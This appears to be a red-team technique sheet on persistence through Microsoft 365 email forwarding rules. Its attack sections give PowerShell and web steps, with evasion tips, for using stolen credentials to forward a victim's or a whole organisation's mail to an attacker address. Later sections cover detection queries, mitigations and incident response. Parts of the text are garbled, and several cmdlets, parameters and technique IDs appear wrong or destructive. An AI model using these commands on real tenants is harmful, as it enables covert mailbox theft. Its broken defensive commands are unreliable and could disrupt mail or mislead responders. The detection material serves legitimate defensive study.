| Attribute | Details |
|---|---|
| Technique ID | PERSIST-EMAIL-001 |
| MITRE ATT&CK v18.1 | T1114.003 – Email Collection: Email Forwarding Rule |
| Tactic | Collection / Persistence |
| Platforms | M365 (Exchange Online, Outlook Web Access) |
| Severity | HIGH |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Exchange Online (all versions); Office 365 E3+ |
| Patched In | N/A (inherent to email system design; mitigated via policy) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Email forwarding rules are a persistence and data collection technique where an attacker with access to a victim’s mailbox creates automated rules that silently forward all incoming emails (or emails matching specific criteria) to an attacker-controlled external email address. Unlike manual forwarding, these rules operate silently in the background, remaining invisible to the victim. Attackers may also use MAPI (Messaging API) to create hidden rules that don’t appear in Outlook or Outlook Web Access (OWA) user interfaces. This technique is particularly effective for maintaining access after credentials are reset, as the forwarding rule persists independently of the password.
Attack Surface: Exchange Online mailbox inbox rules engine, accessible via Outlook client, Outlook Web Access (OWA), or Exchange Management Shell (PowerShell); administrative APIs for organizational transport rules.
Business Impact: Continuous Unauthorized Email Access & Data Exfiltration. Once a forwarding rule is established, all emails (or those matching specific filters) are silently copied to an attacker-controlled address. This enables theft of confidential communications, trade secrets, customer data, compliance-sensitive information (GDPR, HIPAA), and targeted phishing intelligence. Attackers can use the forwarded emails to identify additional targets, learn about deal flows (M&A/financing), or blackmail executives. A single compromised executive mailbox can expose the entire organization.
Technical Context: Email forwarding rules execute instantaneously with no observable network traffic from the victim’s perspective. Rule creation takes seconds via PowerShell or OWA; hidden rules bypass UI visibility and require PowerShell inspection to detect. Forwarding occurs for every matching email indefinitely until manually removed. Detection relies primarily on audit logs (Unified Audit Log, Message Tracking Logs) rather than real-time network indicators.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 6.5 | Ensure automatic forwarding of email is disabled |
| CISA SCuBA | Exchange 3.1 | Disable external email forwarding |
| NIST 800-53 | CA-3 | System Interconnections (email forwarding to external recipients) |
| NIST 800-53 | AU-2 | Audit Events (email rule creation/modification logging) |
| GDPR | Art. 32 | Security of Processing (email data protection & access control) |
| DORA | Art. 18 | Operational resilience testing (email system integrity) |
| NIS2 | Art. 21 | Cyber Risk Management (incident detection: email exfiltration) |
| ISO 27001 | A.5.1 | Information security policies (email forwarding control) |
| ISO 27005 | Risk Scenario | Unauthorized access to confidential communications |
Supported Versions:
Tools (Optional):
Supported Versions: Exchange Online (all versions)
Objective: Log into victim’s mailbox via OWA to create rules.
Command (Browser-Based):
Navigate to: https://outlook.office365.com/mail/inbox
Login with: victim@organization.com / compromised_password
What This Means:
OpSec & Evasion:
Troubleshooting:
Manual Steps:
What This Means:
OpSec & Evasion:
Manual Steps:
@microsoft.com) to filter specific sendersattacker@attacker-domain.com)Expected Output:
Rule created successfully.
Rule Name: Archive Old Emails
Condition: All messages
Action: Forward to attacker@attacker-domain.com
Status: Enabled
What This Means:
OpSec & Evasion:
Supported Versions: Exchange Online (all versions)
Objective: Connect to Exchange Online using compromised credentials.
Command:
# Install module if not present
Install-Module -Name ExchangeOnlineManagement -Force -AllowClobber
# Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName victim@organization.com -ShowProgress
# When prompted, enter victim's password
Expected Output:
Compliance Cmdlets Imported. For more info, run Get-Help ExoBasicAuth
Your organization has set policies that limit this PowerShell session to a limited set of cmdlets.
To view the cmdlets you can run, execute Get-Command.
What This Means:
OpSec & Evasion:
Troubleshooting:
Command:
# Create visible forwarding rule
New-InboxRule -Mailbox victim@organization.com `
-Name "Archive Cleanup" `
-ForwardTo "attacker@attacker-domain.com" `
-AllowedWordCount 0 `
-Enabled $true
Expected Output:
Name Enabled Priority
---- ------- --------
Archive Cleanup True 1
What This Means:
OpSec & Evasion:
Command:
# Create hidden rule using MAPI property manipulation
$rule = New-InboxRule -Mailbox victim@organization.com `
-Name "System Maintenance" `
-ForwardTo "attacker@attacker-domain.com" `
-Enabled $true
# Hide rule from UI by setting Hidden property to $true
Set-InboxRule -Identity $rule.Identity -HiddenFromExchangeAdminCenter $true
Expected Output:
(No visual output; rule created silently)
What This Means:
-HiddenFromExchangeAdminCenter $true flag.Get-InboxRule -IncludeHidden command.OpSec & Evasion:
-IncludeHidden parameter to discover.Troubleshooting:
Set-InboxRule with ExceptIfSubject parameter (minimal condition to hide rule visibility)Command:
# List all rules (including hidden ones)
Get-InboxRule -Mailbox victim@organization.com -IncludeHidden | Select-Object Name, Enabled, ForwardTo | Format-Table
# Expected Output:
# Name Enabled ForwardTo
# ---- ------- ---------
# Archive Cleanup True attacker@attacker-domain.com
# System Maintenance True attacker@attacker-domain.com
What This Means:
Supported Versions: Exchange Online (requires Organization Admin)
Objective: Gain Global Admin or Exchange Admin credentials.
Command:
# Connect as admin
Connect-ExchangeOnline -UserPrincipalName admin@organization.com
Command:
# Create transport rule that forwards ALL organizational mail to attacker
New-TransportRule -Name "External Email Logging" `
-Enabled $true `
-FromScope "InternalAndExternal" `
-RedirectMessageTo "attacker@attacker-domain.com"
Expected Output:
Name Enabled Priority
---- ------- --------
External Email Logging True 1
What This Means:
OpSec & Evasion:
-Except to exclude executive or IT mailboxes initially, then expand.Troubleshooting:
Note: Atomic Red Team has limited M365 coverage for email forwarding. Recommended approach is manual testing with sandbox tenant.
Manual Verification Steps:
test-user@contoso.comCleanup:
# Remove all forwarding rules
Get-InboxRule -Mailbox test-user@contoso.com -IncludeHidden | Remove-InboxRule -Confirm:$false
Version: 3.0+ (latest) Minimum Version: 2.0.5 Supported Platforms: Windows PowerShell 5.1+, PowerShell 7+ (Linux/Mac support in latest versions)
Installation:
Install-Module -Name ExchangeOnlineManagement -Force -Repository PSGallery
Import-Module ExchangeOnlineManagement
Connect-ExchangeOnline -UserPrincipalName "admin@organization.com"
Key Cmdlets:
# Inbox Rules
New-InboxRule # Create rule
Get-InboxRule # List rules (hidden ones with -IncludeHidden)
Set-InboxRule # Modify rule
Remove-InboxRule # Delete rule
Enable-InboxRule / Disable-InboxRule
# Transport Rules (Org-level)
New-TransportRule # Create org-wide rule
Get-TransportRule # List org rules
Set-TransportRule # Modify rule
Remove-TransportRule # Delete rule
# Compromise account → Create hidden forwarding rule → Disconnect
Connect-ExchangeOnline -UserPrincipalName victim@organization.com;
New-InboxRule -Mailbox victim@organization.com -Name "System Update" -ForwardTo "attacker@attacker.com" -Enabled $true;
Set-InboxRule -Identity (Get-InboxRule -Mailbox victim@organization.com | Where-Object {$_.Name -eq "System Update"}).Identity -HiddenFromExchangeAdminCenter $true;
Disconnect-ExchangeOnline -Confirm:$false
Rule Configuration:
SPL Query:
index=o365 Workload=Exchange Operation="New-InboxRule" OR Operation="UpdateInboxRules"
| search OperationProperties="*ForwardTo*" OR OperationProperties="*ForwardAsAttachmentTo*" OR OperationProperties="*RedirectTo*"
| search OperationProperties="*@*.*"
| rex field=OperationProperties "(?<recipient>\w+@[\w.-]+)"
| stats count by UserId, recipient, Operation, _time
| where count >= 1
What This Detects:
Manual Configuration Steps:
count >= 1M365_Suspicious_Email_Forwarding_Rule_CreatedFalse Positive Analysis:
| search recipient!="*@internal-domain.com"Rule Configuration:
SPL Query:
index=o365 Workload=Exchange Operation="Set-InboxRule"
| search OperationProperties="*HiddenFromExchangeAdminCenter*" OR OperationProperties="*Hidden*"
| stats count by UserId, Operation, _time
| where count >= 1
What This Detects:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("New-InboxRule", "Set-InboxRule", "New-TransportRule")
| where tostring(TargetResources[0].modifiedProperties) contains "ForwardTo" or tostring(TargetResources[0].modifiedProperties) contains "RedirectTo"
| extend ForwardAddress = extract(@"ForwardTo[^,]*?Value:\s""?([^""\s]+)", 1, tostring(TargetResources[0].modifiedProperties))
| extend UserUPN = InitiatedBy.user.userPrincipalName
| where ForwardAddress !contains "@" + extract(@"@([\w.-]+)$", 1, UserUPN) // External domain
| project TimeGenerated, UserUPN, OperationName, ForwardAddress, TargetResources
What This Detects:
Manual Configuration Steps (Azure Portal):
M365_Email_Forwarding_External_DomainHigh5 minutes1 hourRule Configuration:
KQL Query:
AuditLogs
| where OperationName contains "TransportRule" and OperationName contains "New"
| where ResultStatus == "Success"
| extend RuleName = TargetResources[0].displayName
| extend RuleCondition = extract(@"Conditions:([^,]+)", 1, tostring(TargetResources[0].modifiedProperties))
| project TimeGenerated, InitiatedBy.user.userPrincipalName, RuleName, RuleCondition, TargetResources
| summarize AlertCount=count() by InitiatedBy_user_userPrincipalName
What This Detects:
Note: Email forwarding is cloud-native; Windows Event Log monitoring is limited. Primary detection is via M365 Unified Audit Log.
Indirect Windows Indicators:
Event ID: 4662 (An operation was performed on an object)
Note: Sysmon is Windows-focused; email forwarding is cloud-native and not detectable via Sysmon. However, PowerShell execution for rule creation IS detectable.
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows with PowerShell execution monitoring enabled
Sysmon Config Snippet:
<!-- Detect PowerShell execution of ExchangeOnline module commands -->
<RuleGroup name="Email_Forwarding_Rule_Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="is">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Image>
<CommandLine condition="contains any">
New-InboxRule
Set-InboxRule
ForwardTo
RedirectTo
ForwardAsAttachmentTo
New-TransportRule
</CommandLine>
</ProcessCreate>
<!-- Detect module import for Exchange Online management -->
<ProcessCreate onmatch="include">
<Image condition="is">C:\Program Files\PowerShell\7\pwsh.exe</Image>
<CommandLine condition="contains">ExchangeOnlineManagement</CommandLine>
</ProcessCreate>
</RuleGroup>
Manual Configuration Steps:
sysmon64.exe -c sysmon-config.xmlGet-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Id -eq 1}Alert Name: “Suspicious email forwarding rule created”
Alert Name: “Organization-wide email forwarding via Transport Rule”
Disable External Email Forwarding (Organization-Wide Policy):
Applies To Versions: Exchange Online (all versions)
Manual Steps (Exchange Admin Center):
Block External Email ForwardingAll"External email forwarding is not allowed by organizational policy"[internal domains only]Manual Steps (PowerShell – More Effective):
# Connect to Exchange Online
Connect-ExchangeOnline
# Disable external forwarding at organization level
Set-OrganizationConfig -ExternalDLPEnabled $false
# Alternative: Create transport rule blocking external forwarding
New-TransportRule -Name "Block External Email Forwarding" `
-FromScope "InternalAndExternal" `
-ApplyRule "All" `
-RejectMessageReasonText "External email forwarding is not permitted" `
-Enabled $true
Enforce Conditional Access Policy for PowerShell/EXO Module:
Manual Steps (Azure Portal):
Restrict Exchange Online PowerShell AccessExchange Active Sync clientsResult: Remote PowerShell sessions require MFA and additional verification; reduces attacker ability to create rules remotely.
Enable Mailbox Audit Logging for ALL Users:
Manual Steps (PowerShell):
# Enable audit logging for all mailboxes
Get-Mailbox -Filter {ArchiveStatus -ne "None"} | Set-Mailbox -AuditEnabled $true
# Verify audit logging enabled
Get-Mailbox | Select-Object DisplayName, AuditEnabled | Format-Table
Manual Steps (Exchange Admin Center):
Alert on Unusual InboxRule Operations:
Manual Steps (Sentinel/SIEM):
New-InboxRule and Set-InboxRule operationsRestrict Mailbox Delegation & SendAs Permissions:
Manual Steps (PowerShell):
# Audit mailbox permissions
Get-Mailbox -ResultSize Unlimited | Get-MailboxPermission | Where-Object {$_.User -notlike "*@domain.com"}
# Remove external permissions
Get-Mailbox | Get-MailboxPermission | Where-Object {$_.User -notlike "NT AUTHORITY\*"} | Remove-MailboxPermission -Confirm:$false
# Check if external forwarding is blocked
Get-TransportRule | Where-Object {$_.Name -like "*Forward*"}
# Expected Output (If Secure):
# Name Enabled Priority
# ---- ------- --------
# Block External Email Forwarding True 1
# Check mailbox audit logging status
Get-Mailbox -ResultSize Unlimited | Where-Object {$_.AuditEnabled -eq $false} | Measure-Object
# Expected Output (If Secure):
# Count: 0 (all mailboxes have auditing enabled)
New-InboxRule with ForwardTo parameterSet-InboxRule with HiddenFromExchangeAdminCenter=trueNew-InboxRule + user + timestamp)Get-MessageTrackingLog -ResultSize Unlimited -Status Deliver | Where-Object {$_.EventId -eq "Forwarded"}Identify Compromised Mailbox (Immediate):
Command:
# List all forwarding rules on mailbox
Get-InboxRule -Mailbox victim@organization.com -IncludeHidden | Select-Object Name, Enabled, ForwardTo | Format-List
Manual:
Disable/Remove Forwarding Rules:
Command:
# Disable suspicious rules (safer than delete; preserves audit trail)
Get-InboxRule -Mailbox victim@organization.com -IncludeHidden | Where-Object {$_.ForwardTo -like "*attacker*"} | Disable-InboxRule -Confirm:$false
# Alternative: Remove rules entirely
Get-InboxRule -Mailbox victim@organization.com -IncludeHidden | Where-Object {$_.ForwardTo -like "*external-domain*"} | Remove-InboxRule -Confirm:$false
Manual:
Reset Mailbox Credentials & Enable MFA:
Command:
# Force password change
Set-AzureADUserPassword -ObjectId victim@organization.com -Password (ConvertTo-SecureString -AsPlainText "NewPassword123!" -Force) -ForceChangePasswordNextSignIn $true
# Enable MFA
Update-MgUser -UserId victim@organization.com -StrongAuthenticationRequirements @(@{RelyingParty = "*"; State = "Enforced"})
Investigate Forwarded Emails (Damage Assessment):
Command:
# Retrieve all messages forwarded by unauthorized rule
Get-MessageTrackingLog -Sender victim@organization.com -StartDate (Get-Date).AddDays(-7) -Status Deliver | Where-Object {$_.EventId -eq "Forwarded"} | Select-Object Timestamp, RecipientAddress, Subject | Export-Csv -Path C:\Evidence\Forwarded_Messages.csv
Manual:
Hunt for Related Compromises:
Command:
# Find other mailboxes with rules forwarding to same attacker domain
Get-Mailbox -ResultSize Unlimited | Get-InboxRule -IncludeHidden | Where-Object {$_.ForwardTo -like "*attacker-domain.com*"}
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1566.002] Phishing: Spearphishing Link | Attacker sends malicious link; user clicks |
| 2 | Credential Access | [T1110.003] Brute Force: Password Spraying | Attacker obtains password via spray or breach database |
| 3 | Lateral Movement | [T1056.004] Monitoring: Mailbox Access | Attacker logs into compromised mailbox |
| 4 | Persistence | [PERSIST-EMAIL-001] Email Forwarding Rules | Attacker creates forwarding rule for continuous access |
| 5 | Collection | [T1114.001] Local Email Collection | Attacker collects sensitive emails via forwarded copies |
| 6 | Exfiltration | [T1020.001] Data Transfer via Forwarded Email | Attacker retrieves copied emails from external mailbox |
| 7 | Impact | [T1537] Transfer Data to Cloud Account | Attacker moves data to personal cloud storage for resale |